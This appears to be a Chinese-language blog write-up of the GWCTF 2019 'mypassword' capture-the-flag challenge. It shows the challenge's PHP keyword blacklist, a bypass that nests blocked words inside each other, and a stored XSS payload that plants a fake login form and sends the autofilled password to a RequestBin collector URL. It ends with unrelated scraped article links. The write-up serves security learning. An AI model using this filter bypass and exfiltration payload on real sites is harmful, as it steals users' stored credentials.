• [GWCTF 2019]mypassword XSS


    放假后的第一个题目,感觉思维有点跟不上了,应该还是自己太菜

    随机登录一个账号进去,看到提示说不能注入,那我偏要试试

    可以看到Feedback是一个留言板,然后List会显示留言的内容,感觉像是二次注入,不管了先试试

    12!@#$%^&*()__{}|":<>?select union 

    先将符号全部留言一遍

    可以发现还是存在着一些过滤的

     

    发现输入了1^1并没有执行,可能一开始只是显示一下,并没有存入数据库呢?于是赶紧再尝试一个列子观察输入的1^1是否会被SQL语句执行出来

    结果发现依然没有……只能看看别的地方了,一开始提示到源码泄露

    1. if(is_array($feedback)){
    2. echo "<script>alert('反馈不合法');</script>";
    3. return false;
    4. }
    5. $blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
    6. foreach ($blacklist as $val) {
    7. while(true){
    8. if(stripos($feedback,$val) !== false){
    9. $feedback = str_ireplace($val,"",$feedback);
    10. }else{
    11. break;
    12. }
    13. }
    14. }

     发现黑名单都是js的内容,于是这时候有一个念头冒出来了,是不是可能是XSS?之前见过几次但是很生,没怎么做过,于是尝试着在留言框输入一个

    <scriphostt>alert(1);</scriphostt>

     这样写的原因是因为script被过滤掉了,但是经过测试可以利用黑名单为空来进行绕过

    1. 输入scriphostt
    2. 过滤取空后就会变为 script

    实现成功

     

    但是不知道flag在哪里啊,经过查找可以发现在登录见面有一个源码js

     

    1. if (document.cookie && document.cookie != '') {
    2. var cookies = document.cookie.split('; ');#以;为标志切分cookie,分类
    3. var cookie = {};
    4. for (var i = 0; i < cookies.length; i++) {
    5. var arr = cookies[i].split('=');#以=为标志切分cookies,键值分开
    6. var key = arr[0];#键
    7. cookie[key] = arr[1];#值
    8. }
    9. if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
    10. document.getElementsByName("username")[0].value = cookie['user'];
    11. document.getElementsByName("password")[0].value = cookie['psw'];
    12. }
    13. }

     根据所写注释可以知道js内容就是一个保存密码的机制

    我们要获得的秘密就在 document.getElementsByName("password")[0].value里面

    但是要怎么获得呢,只能看wp了,我的能力只能到此了

    根据许多大佬的博客总结,这里利用到了一个XSS平台,他会给你一个url,然后会收集所有对于该url请求的报文分析RequestBin — Collect, inspect and debug HTTP requests and webhooks

    根据F12对于登录框的分析

    我们可以自己伪造一个简易的登录框,这里注意input也被过滤了,因此可以任意用一个黑名单元素来进行取空进行绕过 

    这里不要忘了要加上

    否则密码没进去 

    1. <incookieput type="text" name="username">
    2. <incookieput type="password" name="password">
    3. <scrcookieipt scookierc="./js/login.js"></scrcookieipt>
    4. <scrcookieipt>
    5. var psw = docucookiement.getcookieElementsByName("password")[0].value;
    6. docucookiement.locacookietion="http://http.requestbin.buuoj.cn/1hz5nj21/?a="+psw;
    7. </scrcookieipt>

    将密码发到平台所给网址上面

    等一会儿就可以看到请求

     

  • 相关阅读:
    9.8 段错误,虚拟内存,内存映射 CSAPP
    k8s中的容器
    宝宝吃母乳的一些的谣言辟谣
    【流行框架】Spring
    java-net-php-python-jsp网上飞机票订票管理系统计算机毕业设计程序
    Python3《机器学习实战》学习笔记(四):朴素贝叶斯实战篇之新浪新闻分类
    【RC&RL充放电时间相关计算】
    YOLOv5使用方法记录
    Centos SAMBA配置
    JavaScript 奇怪又实用的姿势又增加了六个
  • 原文地址:https://blog.csdn.net/qq_54929891/article/details/125404121